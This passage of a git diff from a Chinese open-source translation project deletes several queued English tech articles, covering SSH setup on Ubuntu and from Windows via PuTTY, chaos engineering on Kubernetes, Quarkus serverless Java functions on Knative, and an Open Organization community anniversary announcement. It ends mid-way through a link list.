recommend giving JuiceSSH a go. It’s been around for almost 10 years and it’s free to use. - * And finally, [Termius][18] is available for Linux, Windows, macOS, iOS, and Android. It has a free tier version and also several premium options. If you are running a lot of servers and working with teams sharing connections then Termius is a good option for you. - - - -#### Wrapping Up - -With these instructions, you can set up SSH as a server service in our Ubuntu systems to be able to connect remotely and securely to your computer in order to work with the command line and perform any required task. - -Our other website, Linux Handbook, has various informational articles on SSH. From here, I recommend reading the following: - - * [Getting started with SSH on Linux][19] - * [Using SSH Config file to manage multiple SSH connections][20] - * [Adding public key to SSH server for password less authentication][21] - * [SSH hardening tips][22] to secure your SSH server - - - -If you find it overwhelming, [Linux Handbook has a premium video course that explains SSH for beginners][23] along with hands-on labs to follow. This will give you a more streamlined knowledge of the topic. - -Happy remote working! - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/set-up-ssh-ubuntu/ - -作者:[Chris Patrick Carias Stas][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/chris/ -[b]: https://github.com/lujun9972 -[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-diagram.png?resize=800%2C259&ssl=1 -[2]: https://www.openssh.com/ -[3]: https://itsfoss.com/install-ubuntu-server-raspberry-pi/ -[4]: https://itsfoss.com/ssh-into-raspberry/ -[5]: https://itsfoss.com/update-ubuntu/ -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0001.png?resize=800%2C253&ssl=1 -[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0002.png?resize=800%2C263&ssl=1 -[8]: https://itsfoss.com/set-up-firewall-gufw/ -[9]: https://itsfoss.com/check-ip-address-ubuntu/ -[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-find-ip.png?resize=800%2C341&ssl=1 -[11]: https://itsfoss.com/cdn-cgi/l/email-protection -[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0004.png?resize=800%2C87&ssl=1 -[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0005.png?resize=800%2C57&ssl=1 -[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0006.png?resize=800%2C322&ssl=1 -[15]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0007.png?resize=800%2C87&ssl=1 -[16]: https://www.putty.org/ -[17]: https://juicessh.com/ -[18]: https://termius.com/ -[19]: https://linuxhandbook.com/ssh-basics/ -[20]: https://linuxhandbook.com/ssh-config-file/ -[21]: https://linuxhandbook.com/add-ssh-public-key-to-server/ -[22]: https://linuxhandbook.com/ssh-hardening-tips/ -[23]: https://linuxhandbook.com/sshcourse/ diff --git a/sources/tech/20210531 Get started with Kubernetes using chaos engineering.md b/sources/tech/20210531 Get started with Kubernetes using chaos engineering.md deleted file mode 100644 index 344f7c1e9e..0000000000 --- a/sources/tech/20210531 Get started with Kubernetes using chaos engineering.md +++ /dev/null @@ -1,75 +0,0 @@ -[#]: subject: (Get started with Kubernetes using chaos engineering) -[#]: via: (https://opensource.com/article/21/5/kubernetes-chaos) -[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Get started with Kubernetes using chaos engineering -====== -Learn the basics of chaos engineering in this first article in a series -celebrating Kubernetes' 11th birthday. -![Scrabble letters spell out chaos for chaos engineering][1] - -Kubernetes is turning 11, so I'll be celebrating its birthday by giving you some open source tools that will help you cause chaos. Chaos engineering is part science, part planning, and part experiments. It's the discipline of experimenting on a system to build confidence in the system's capability to withstand turbulent conditions in production. - -Before I start passing out the gifts, in this introductory article, I will explain the basics of how chaos engineering works. - -### How do I get started with chaos engineering? - -In my experience, the best way to start chaos engineering is by taking an incident that has happened before in production and using it as an experiment. Use your past data, make a plan to break your system in a similar way, create a repair strategy, and confirm the outcome turns out exactly how you want. If your plan fails, you have a new way to experiment and move forward toward a new way to handle issues quickly. - -Best of all, you can document everything as you go, which means, over time, your entire system will be fully documented so that anyone can be on call without too many escalations and everyone can have a nice break on weekends. - -### What do you do in chaos engineering? - -Chaos engineering has some science behind how these experiments work. I've documented some of the steps: - - 1. **Define a steady state**: Use a monitoring tool to gather data about what your system looks like functionally when there are no problems or incidents. - 2. **Come up with a hypothesis or use a previous incident:** Now that you have defined a steady state, come up with a hypothesis about what would happen (or has happened) during an incident or outage. Use this hypothesis to generate a series of theories about what could happen and how to resolve the problems. Then you can start a plan to purposely cause the issue. - 3. **Introduce the problem:** Use that plan to break your system and begin real-world testing. Gather your broken metrics' states, use your planned fix, and keep track of how long it takes before you reach a resolution. Make sure you document everything for future outages. - 4. **Try to disprove your own hypothesis:** The best part of experimenting is trying to disprove what you think or plan. You want to create a different state, see how far you can take it, and generate a different steady state in the system. - - - -Make sure to create a control system in a steady state before you generate the broken variables in another system. This will make it easier to spot the differences in various steady states before, during, and after your experiment. - -### What do I need for chaos engineering? - -The best tools for beginning chaos engineering are: - - * Good documentation practices - * A monitoring system to capture your system in a steady state and a non-steady state - * Grafana - * Prometheus - * Chaos engineering tools - * Chaos mesh - * Litmus - * And more that I will cover in future articles - * A hypothesis - * A plan - - - -### Go forth and destroy - -Now that you have the basics in hand, it's time to go forth and destroy your system safely. I would plan to start causing chaos four times a year and work toward monthly destructions. - -Chaos engineering is good practice and a great way to keep your internal documentation up to date. Also, new upgrades or application deployments will be smoother over time, and your daily life will be easier with Kubernetes administration. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/5/kubernetes-chaos - -作者:[Jessica Cherry][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cherrybomb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brett-jordan-chaos-unsplash.jpg?itok=sApp5dVd (Scrabble letters spell out chaos for chaos engineering) diff --git a/sources/tech/20210601 Get started with Java serverless functions.md b/sources/tech/20210601 Get started with Java serverless functions.md deleted file mode 100644 index e8c9184cef..0000000000 --- a/sources/tech/20210601 Get started with Java serverless functions.md +++ /dev/null @@ -1,225 +0,0 @@ -[#]: subject: (Get started with Java serverless functions) -[#]: via: (https://opensource.com/article/21/6/java-serverless-functions) -[#]: author: (Daniel Oh https://opensource.com/users/daniel-oh) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Get started with Java serverless functions -====== -Quarkus allows you to develop serverless workloads with familiar Java -technology. -![Tips and gears turning][1] - -The [serverless Java][2] journey started out with functions—small snippets of code running on demand. This phase didn't last long. Although functions based on virtual machine architecture in the 1.0 phase made this paradigm very popular, as the graphic below shows, there were limits around execution time, protocols, and poor local-development experience. - -Developers then realized that they could apply the same serverless traits and benefits to microservices and Linux containers. This launched the 1.5 phase, where some serverless containers completely abstracted [Kubernetes][3], delivering the serverless experience through [Knative][4] or another abstraction layer that sits on top of it. - -In the 2.0 phase, serverless starts to handle more complex orchestration and integration patterns combined with some level of state management. More importantly, developers want to keep using a familiar application runtime, Java, to run a combination of serverless and non-serverless workloads in legacy systems. - -![The serverless Java journey][5] - -(Daniel Oh, [CC BY-SA 4.0][6]) - -Before Java developers can start developing new serverless functions, their first task is to choose a new cloud-native Java framework that allows them to run Java functions quicker with a smaller memory footprint than traditional monolithic applications. This can be applied to various infrastructure environments, from physical servers to virtual machines to containers in multi- and hybrid-cloud environments. - -Developers might consider an opinionated Spring framework that uses the `java.util.function` package in [Spring Cloud Function][7] to support the development of imperative and reactive functions. Spring also enables developers to deploy Java functions to installable serverless platforms such as [Kubeless][8], [Apache OpenWhisk][9], [Fission][10], and [Project Riff][11]. However, there are concerns about slow startup and response times and heavy memory-consuming processes with Spring. This problem can be worse when running Java functions on scalable container environments such as Kubernetes. - -[Quarkus][12] is a new open source cloud-native Java framework that can help solve these problems. It aims to design serverless applications and write cloud-native microservices for running on cloud infrastructures (e.g., Kubernetes). - -Quarkus rethinks Java, using a closed-world approach to building and running it. It has turned Java into a runtime that's comparable to Go. Quarkus also includes more than 100 extensions that integrate enterprise capabilities, including database access, serverless integration, messaging, security, observability, and business automation. - -Here is a quick example of how developers can scaffold a Java serverless function project with Quarkus. - -### 1\. Create a Quarkus serverless Maven project - -Developers have multiple options to install a local Kubernetes cluster, including [Minikube][13] and [OKD][14] (OpenShift Kubernetes Distribution). This tutorial uses an OKD cluster for a developer's local environment because of the easy setup of serverless functionality on Knative and DevOps toolings. These guides for [OKD installation][15] and [Knative operator installation][16] offer more information about setting them up. - -The following command generates a Quarkus project (e.g., `quarkus-serverless-restapi`) to expose a simple REST API and download a `quarkus-openshift` extension for Knative service deployment: - - -``` -$ mvn io.quarkus:quarkus-maven-plugin:1.13.4.Final:create \ -       -DprojectGroupId=org.acme \ -       -DprojectArtifactId=quarkus-serverless-restapi \ -       -Dextensions="openshift" \ -       -DclassName="org.acme.getting.started.GreetingResource" -``` - -### 2\. Run serverless functions locally - -Run the application using Quarkus development mode to check if the REST API works, then tweak the code a bit: - - -``` -`$ ./mvnw quarkus:dev` -``` - -The output will look like this: - - -``` -__  ____  __  _____   ___  __ ____  ______ - --/ __ \/ / / / _ | / _ \/ //_/ / / / __/ - -/ /_/ / /_/ / __ |/ , _/ ,< / /_/ /\ \   -\--\\___\\_\\____/_/ |_/_/|_/_/|_|\\____/___/   -INFO  [io.quarkus] (Quarkus Main Thread) quarkus-serverless-restapi 1.0.0-SNAPSHOT on JVM (powered by Quarkus xx.xx.xx.) started in 2.386s. Listening on: -INFO  [io.quarkus] (Quarkus Main Thread) Profile dev activated. Live Coding activated. -INFO  [io.quarkus] (Quarkus Main Thread) Installed features: [cdi, kubernetes, resteasy] -``` - -> **Note**: Keep your Quarkus application running to use Live Coding. This allows you to avoid having to rebuild, redeploy the application, and restart the runtime whenever the code changes. - -Now you can hit the REST API with a quick `curl` command. The output should be `Hello RESTEasy`: - - -``` -$ curl localhost:8080/hello -Hello RESTEasy -``` - -Tweak the return text in `GreetingResource.java`: - - -``` -    public [String][17] hello() { -        return "Quarkus Function on Kubernetes"; -    } -``` - -You will see new output when you reinvoke the REST API: - - -``` -$ curl localhost:8080/hello -Quarkus Function on Kubernetes -``` - -There's not been a big difference between normal microservices and serverless functions. A benefit of Quarkus is that it enables developers to use any microservice to deploy Kubernetes as a serverless function. - -### 3\. Deploy the functions to a Knative service - -If you haven't already, [create a namespace][18] (e.g., `quarkus-serverless-restapi`) on your OKD (Kubernetes) cluster to deploy this Java serverless function. - -Quarkus enables developers to generate Knative and Kubernetes resources by adding the following variables in `src/main/resources/application.properties`: - - -``` -quarkus.container-image.group=quarkus-serverless-restapi <1> -quarkus.container-image.registry=image-registry.openshift-image-registry.svc:5000 <2> -quarkus.kubernetes-client.trust-certs=true <3> -quarkus.kubernetes.deployment-target=knative <4> -quarkus.kubernetes.deploy=true <5> -quarkus.openshift.build-strategy=docker <6> -``` - -> Legend: -> -> <1> Define a project name where you deploy a serverless application -> <2> The container registry to use -> <3> Use self-signed certs in this simple example to trust them -> <4> Enable the generation of Knative resources -> <5> Instruct the extension to deploy to OpenShift after the container image is built -> <6> Set the Docker build strategy - -This command builds the application then deploys it directly to the OKD cluster: - - -``` -`$ ./mvnw clean package -DskipTests` -``` - -> **Note:** Make sure to log in to the right project (e.g., `quarkus-serverless-restapi`) by using the `oc login` command ahead of time. - -The output should end with `BUILD SUCCESS`. - -Add a Quarkus label to the Knative service with this `oc` command: - - -``` -$ oc label rev/quarkus-serverless-restapi-00001 -app.openshift.io/runtime=quarkus --overwrite -``` - -Then access the OKD web console to go to the [Topology view in the Developer perspective][19]. You might see that your pod (serverless function) is already scaled down to zero (white-line circle). - -![Topology view][20] - -(Daniel Oh, [CC BY-SA 4.0][6]) - -### 4\. Test the functions on Kubernetes - -Retrieve a route `URL` of the serverless function by running the following `oc` command: - - -``` -$ oc get rt/quarkus-serverless-restapi -[...] -NAME                      URL                             READY   REASON -quarkus-serverless[...]     True -``` - -Access the route `URL` with a `curl` command: - - -``` -`$ curl http://quarkus-serverless-restapi-quarkus-serverless-restapi.SUBDOMAIN/hello` -``` - -In a few seconds, you will get the same result as you got locally: - - -``` -`Quarkus Function on Kubernetes` -``` - -When you return to the Topology view in the OKD cluster, the Knative service scales up automatically. - -![Scaling the Knative Function][21] - -(Daniel Oh, [CC BY-SA 4.0][6]) - -This Knative service pod will go down to zero again in 30 seconds because of Knative serving's default setting. - -### What's next? - -The serverless journey has evolved, starting with functions on virtual machines to serverless containers and integration with enterprise legacy systems. Along this journey, enterprise developers can still use familiar technologies like Java for developing serverless functions by using Quarkus to create a project then build and deploy it to Kubernetes with a Knative service. - -The next article in this series will guide you on optimizing Java serverless functions in Kubernetes for faster startup time and small memory footprints at scale. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/java-serverless-functions - -作者:[Daniel Oh][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/daniel-oh -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png?itok=HcN38NOk (Tips and gears turning) -[2]: https://opensource.com/article/21/5/what-serverless-java -[3]: https://opensource.com/article/19/6/reasons-kubernetes -[4]: https://cloud.google.com/knative/ -[5]: https://opensource.com/sites/default/files/uploads/serverless-journey.png (The serverless Java journey) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://spring.io/serverless -[8]: https://kubeless.io/ -[9]: https://openwhisk.apache.org/ -[10]: https://fission.io/ -[11]: https://projectriff.io/ -[12]: https://quarkus.io/ -[13]: https://minikube.sigs.k8s.io/docs/start/ -[14]: https://docs.okd.io/latest/welcome/index.html -[15]: https://docs.okd.io/latest/installing/index.html -[16]: https://knative.dev/docs/install/knative-with-operators/ -[17]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+string -[18]: https://docs.okd.io/latest/applications/projects/configuring-project-creation.html -[19]: https://docs.okd.io/latest/applications/application_life_cycle_management/odc-viewing-application-composition-using-topology-view.html -[20]: https://opensource.com/sites/default/files/uploads/topologyview.png (Topology view) -[21]: https://opensource.com/sites/default/files/uploads/scale-up-knative-function.png (Scaling the Knative Function) diff --git a/sources/tech/20210602 Establish an SSH connection between Windows and Linux.md b/sources/tech/20210602 Establish an SSH connection between Windows and Linux.md deleted file mode 100644 index 2d76592dc7..0000000000 --- a/sources/tech/20210602 Establish an SSH connection between Windows and Linux.md +++ /dev/null @@ -1,230 +0,0 @@ -[#]: subject: (Establish an SSH connection between Windows and Linux) -[#]: via: (https://opensource.com/article/21/6/ssh-windows) -[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Establish an SSH connection between Windows and Linux -====== -Use the open source tool, PuTTY to establish an SSH connection from a -Windows machine to a Linux system. -![clouds in windows][1] - -The secure shell protocol (SSH) is the most common method for controlling remote machines over the command line in the Linux world. SSH is a true Linux original, and it is also gaining popularity in the Windows world. There is even official [Windows documentation for SSH][2], which covers controlling Windows machines using [OpenSSH][3]. - -This article describes how to establish an SSH connection from a Windows machine to a Fedora 33 Linux system using the popular open source tool [PuTTY][4]. - -### Ways to use SSH - -SSH uses a client-server architecture, where an SSH client establishes a connection to an SSH server. The SSH server is usually running as a system daemon, so it is often called SSHD. You can hardly find a Linux distribution that does not come with the SSH daemon. In Fedora 33, the SSH daemon is installed but not activated. - -You can use SSH to control almost any Linux machine, whether it's running as a virtual machine or as a physical device on your network. A common use case is the headless configuration of embedded devices, including the Raspberry Pi. SSH can also be used to tunnel other network services. Because SSH traffic is encrypted, you can use SSH as a transport layer for any protocol that does not provide encryption by default. - -In this article, I'll explain four ways to use SSH: 1. how to configure the SSH daemon on the Linux side, 2. how to set up a remote console connection, 3. how to copy files over the network, and 4. how to tunnel a certain protocol over SSH. - -### 1\. Configure SSHD - -The Linux system (Fedora 33 in my case) acts as the SSH server that allows the PuTTY SSH client to connect. First, check the daemon's SSH configuration. The configuration file is located at `/etc/ssh/sshd_config` and contains a lot of switches that can be activated by commenting out related lines: - - -``` -#       $OpenBSD: sshd_config,v 1.100 2016/08/15 12:32:04 naddy Exp $ - -# This is the sshd server system-wide configuration file.  See -# sshd_config(5) for more information. - -# This sshd was compiled with PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin - -# The strategy used for options in the default sshd_config shipped with -# OpenSSH is to specify options with their default value where -# possible, but leave them commented.  Uncommented options override the -# default value. - -Include /etc/ssh/sshd_config.d/*.conf - -#Port 22 -#AddressFamily any -#ListenAddress 0.0.0.0 -#ListenAddress :: -``` - -The default configuration, where no line is uncommented, should work for this example. Check whether the SSH daemon is already running by typing `systemctl status sshd`: - - -``` -$ systemctl status sshd -● sshd.service - OpenSSH server daemon -   Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled) -   Active: active (running) since Fri 2018-06-22 11:12:05 UTC; 2 years 11 months ago -     Docs: man:sshd(8) -           man:sshd_config(5) - Main PID: 577 (sshd) -    Tasks: 1 (limit: 26213) -   CGroup: /system.slice/sshd.service -           └─577 /usr/sbin/sshd -D -oCiphers=[aes256-gcm@openssh.com][5],chacha20-[...] -``` - -If it's inactive, start it with the `systemctl start sshd` command. - -### 2\. Set up a remote console - -On Windows, [download the PuTTY installer][6], then install and open it. You should see a window like this: - -![PuTTY configuration screen][7] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -In the **Host Name (or IP address)** input field, enter the connection information for your Linux system. In this example, I set up a Fedora 33 virtual machine with a bridged network adapter that I can use to contact the system at the IP address `192.168.1.60`. Click **Open**, and a window like this should open: - -![PutTTY security alert][9] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -This is an SSH security mechanism to prevent a [man-in-the-middle attack][10]. The fingerprint in the message should match the key on the Linux system at `/etc/ssh/ssh_host_ed25519_key.pub.`. PuTTY prints the key as an [MD5 hash][11]. To check its authenticity, switch to the Linux system, open a command shell, and enter: - - -``` -`ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ed25519_key.pub` -``` - -The output should match the fingerprint shown by PuTTY: - - -``` -$ ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ed25519_key.pub -256 MD5:E4:5F:01:05:D0:F7:DC:A6:32 no comment (ED25519) -``` - -Confirm the PuTTY Security Alert by clicking **Yes**. The host system's fingerprint is now in PuTTYs trust list, which is located in the Windows registry under: - - -``` -`HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\SshHostKeys` -``` - -Enter your correct login credentials, and you should be on the console in your home directory: - -![Logged in to SSH][12] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -### 3\. Copy files over the network - -In addition to the remote console, you can use PuTTY to transfer files via SSH. Look in the installation folder under `C:\\Program Files (x86)\\PuTTY` and find `pscp.exe`. You can use this to copy files to and from a Linux system. - -Open a command prompt with **Windows + R** and enter **cmd**. Copy the file `MyFile.txt` from your Linux user home directory to your Windows home directory by entering: - - -``` -`C:\"Program Files (x86)"\PuTTY\pscp.exe stephan@192.168.1.60:/home/stephan/MyFile.txt .` -``` - -To copy a file from the Windows home directory to the Linux user home directory, enter: - - -``` -`C:\"Program Files (x86)"\PuTTY\pscp.exe MyFile.txt stephan@192.168.1.60:/home/stephan/` -``` - -As you may have already figured out, the copy command's general structure is: - - -``` -`pscp.exe ` -``` - -### 4\. Tunnel a protocol - -Imagine you have a Linux machine that is running an HTTP-based service for some arbitrary application. You want to access this HTTP service from your Windows machine over the internet. Of course, you cannot expose the related TCP port to the public because: - - 1. The server is running HTTP, not HTTPS - 2. There is no user management nor login at all - - - -At first glance, it looks like an impossible task to set up this architecture without producing a horrible security flaw. But SSH makes it relatively easy to set up a safe solution for this scenario. - -I will demonstrate this procedure with my software project [Pythonic][13]. Running as a container, Pythonic exposes two TCP ports: TCP port 7000 (main editor) and TCP port 8000 (the [code-server][14] source-code editor). - -To install Pythonic on a Linux machine, run: - - -``` -podman pull pythonicautomation/pythonic -podman run -d -p 7000:7000 -p 8000:8000 pythonic -``` - -Switch to your Windows machine, open PuTTY, and navigate to **Connection -> SSH -> Tunnels**. Add the two TCP ports you want to forward: - - * Source: `7000` / Destination: `localhost:7000` - * Source: `8000` / Destination: `localhost:8000` - - - -![Port forwarding in PuTTY][15] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Then go back to the **Session** section, and establish an SSH connection as you did before. Open a browser and navigate to `http://localhost:7000`; you should see a screen like this: - -![Pythonic][16] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -You have successfully configured port forwarding! - -**Warning**: If you expose TCP Port 22 to the public, don't use easy-to-guess login credentials. You will receive login attempts from all over the world trying to access your Linux machine with common, standard credentials. Instead, permit only known clients to log in. This login restriction can be achieved using [public-key cryptography][17], which uses a key pair in which the public key is stored on the SSH host machine, and the private key remains at the client. - -### Debugging - -If you are struggling to connect to your Linux machine, you can follow the processes in your SSH daemon with: - - -``` -`journalctl -f -u sshd` -``` - -This is how an ordinary log-in process looks like with LogLevel DEBUG : - -![LogLevel DEBUG output][18] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -### Learn more - -This article barely scratched the surface about ways to use SSH. If you are looking for information about a specific use case, you can probably find it among the tons of SSH tutorials on the internet. I use PuTTY heavily at work because its easy configuration and good interoperability between operating systems make it a Swiss Army knife tool for connectivity solutions. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/ssh-windows - -作者:[Stephan Avenwedde][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/hansic99 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/cloud-windows-building-containers.png?itok=0XvZLZ8k (clouds in windows) -[2]: https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_overview -[3]: https://www.openssh.com/ -[4]: https://www.putty.org/ -[5]: mailto:aes256-gcm@openssh.com -[6]: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html -[7]: https://opensource.com/sites/default/files/uploads/putty_connection_settings.png (PuTTY configuration screen) -[8]: https://creativecommons.org/licenses/by-sa/4.0/ -[9]: https://opensource.com/sites/default/files/uploads/putty_host_key.png (PutTTY security alert) -[10]: https://en.wikipedia.org/wiki/Man-in-the-middle_attack -[11]: https://en.wikipedia.org/wiki/MD5 -[12]: https://opensource.com/sites/default/files/uploads/ssh_successfull_login.png (Logged in to SSH) -[13]: https://github.com/hANSIc99/Pythonic -[14]: https://github.com/cdr/code-server -[15]: https://opensource.com/sites/default/files/uploads/ssh_port_forwarding.png (Port forwarding in PuTTY) -[16]: https://opensource.com/sites/default/files/uploads/pythonic_screen.png (Pythonic) -[17]: https://opensource.com/article/21/4/encryption-decryption-openssl -[18]: https://opensource.com/sites/default/files/uploads/sshd_debug_log.png (LogLevel DEBUG output) diff --git a/sources/tech/20210602 New ways to learn about open organizations.md b/sources/tech/20210602 New ways to learn about open organizations.md deleted file mode 100644 index 1d56e9938f..0000000000 --- a/sources/tech/20210602 New ways to learn about open organizations.md +++ /dev/null @@ -1,137 +0,0 @@ -[#]: subject: (New ways to learn about open organizations) -[#]: via: (https://opensource.com/open-organization/21/6/celebrate-sixth-anniversary) -[#]: author: (Laura Hilliger https://opensource.com/users/laurahilliger) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -New ways to learn about open organizations -====== -Celebrate the Open Organization community's sixth anniversary by getting -involved in two exciting new projects. -![][1] - -The Open Organization community celebrates its sixth anniversary on June 02. That's six years of articles ([hundreds][2]), books (an [evolving series][3]), conversations ([always inspiring][4]), teaching (we [love it][5]), and learning. We're so proud to be a vibrant community of open experts and leaders working to bring [open principles][6] to organizations large and small. In fact, many of the [Open Organization Ambassadors][7] have made careers out of helping others become more open, and our community remains dedicated to helping leaders across various industries integrate open mindsets and behaviors into their communities and contexts. - -[Last year][8] was a period of [growth][9] and [renewal][10] for the Open Organization project. And this year, we're building on that momentum. Today, we're proud to introduce two new initiatives—and, of course, invite you to participate. - -### Turn on, tune in, open up - -First, we're excited to announce a brand new venue for our community's work: [OpenOrgTV][11]. It's more than a new platform. It's an experiment in another medium: video. - -On our channel, we'll be hosting all kinds of conversations—from in-depth book reviews to community roundtables. To get started, check out the "[Open Leadership Conversations][12]" series, which features interviews with insightful leaders offering their perspectives on what it means to lead according to open principles. Or watch "[Ask the Ambassadors][13]," our Q&A-style write-in show starring community experts answering _your_ questions about organizational culture and design. Want to be part of the show? Submit your questions to community members in our [new dedicated forum][14]. - -All month long, we'll be featuring introductions to the [Open Organization Ambassadors][15], so you can finally see the faces and hear the voices behind the stories, case studies, and interviews you've been reading for years. - -### Defining open leadership - -Since we released it several years ago, the [Open Organization Definition][16] has become a guiding framework for organizations looking to better understand the nature of open organizational culture and design (and we've done lots to [teach others about it][17]). Over time, we even developed [a maturity model][18] that operationalizes the definition, so organizations can assess their own levels of openness and make concrete plans to become even _more_ open. - -Now we think it's time to take that work a step further. - -But the Open Organization community is more than any combination of platforms, tools, or projects. It's people, all working enthusiastically together to help spread open principles and practices. - -Inspired by our own experience, pre-existing frameworks from open organizations like [Red Hat][19] and [Mozilla][20], years of studying and interviewing open leaders in the field, and a desire to better understand how open leadership _really_ works, we're pleased to unveil an early draft of a brand new document: the Open Leadership Definition. - -This document outlines the mindsets and behaviors unique to the kinds of leaders who build open organizations and make them places where open-minded people can grow and thrive. It builds on the Open Organization Definition, explaining how open leaders embody and champion open organization characteristics—like transparency, inclusivity, adaptability, collaboration, and community. - -And we're keen to share it with the world. - -Beginning today (and continuing for the next two weeks), we're collecting _your_ insights and comments on our draft document. We're eager to hear your ideas, and will take them _en masse_ or in snippets. You can comment on individual parts of the document, or the entire thing. Just see the links below. We look forward to hearing from you. - -* * * - -#### - -![Open Leadership Definition word cloud][21] - -_Open Leadership Definition word cloud by Laura Hiliger (CC BY-SA)_ - -#### The Open Leadership Definition - -[Open Leadership: Introduction][22] - -[Open Leadership: Transparency][23] - -[Open Leadership: Inclusivity][24] - -[Open Leadership: Adaptability][25] - -[Open Leadership: Collaboration][26] - -[Open Leadership: Community][27] - -[Read the entire thing][28] in our shared folder. - -* * * - -### Let's connect - -And of course, you can still find our community in all the usual places like: - - * [Our project website][29], your portal to the entire Open Organization project and community - * [Our conversation hub][4], where you can interact with community members, ask questions, learn about new projects, find resources, and help others - * [Our GitHub organization][30], where we're always working on new materials in the open and invite you to join us - * [Our publication channel at Opensource.com][2], where we're publishing the latest analyses, case studies, interviews, and resources for practitioners in various regions and industries - * Our [Twitter][31] and [LinkedIn][32] platforms, where we're sharing our latest updates and fostering new conversations - - - -But the Open Organization community is more than any combination of platforms, tools, or projects. It's _people_, all working enthusiastically together to help spread open principles and practices. Those people are what makes our community so great. - -That's been the case for six years now. And it always will be. - -### By the numbers - -![][33] - -_Infographic via Jen Kelchner_ - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/21/6/celebrate-sixth-anniversary - -作者:[Laura Hilliger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/laurahilliger -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/openorg_sixth_anniversary.png?itok=3RWyEk5S -[2]: https://opensource.com/open-organization -[3]: https://theopenorganization.org/books -[4]: https://www.theopenorganization.community/ -[5]: https://www.youtube.com/watch?v=Snf6vICDbzw&list=PLLIYDJHuxOkaPEH76mIJe-HHplsiSAVej -[6]: https://theopenorganization.org/definition -[7]: https://theopenorganization.org/about -[8]: https://opensource.com/open-organization/20/6/scaling-energetic-community -[9]: https://opensource.com/open-organization/20/7/evolving-project-governance -[10]: https://opensource.com/open-organization/20/8/open-community-rebrands -[11]: http://theopenorganization.tv -[12]: https://www.youtube.com/watch?v=07YBs0ss9rU&list=PLLIYDJHuxOkYDTLbKRjcd9THTFtpnK8lh -[13]: https://www.youtube.com/watch?v=ukkZMYqRuUQ&list=PLLIYDJHuxOkY1gDbOFLDxGxwwmxeOATrI -[14]: https://www.theopenorganization.community/c/ask-community/19 -[15]: http://theopenorganization.org/roster/ -[16]: https://theopenorganization.org/definition/ -[17]: https://youtu.be/NYngFYGgxro -[18]: https://github.com/open-organization/open-org-maturity-model -[19]: https://github.com/red-hat-people-team/red-hat-multiplier -[20]: https://mozilla.github.io/open-leadership-framework/framework/#the-open-leadership-framework -[21]: 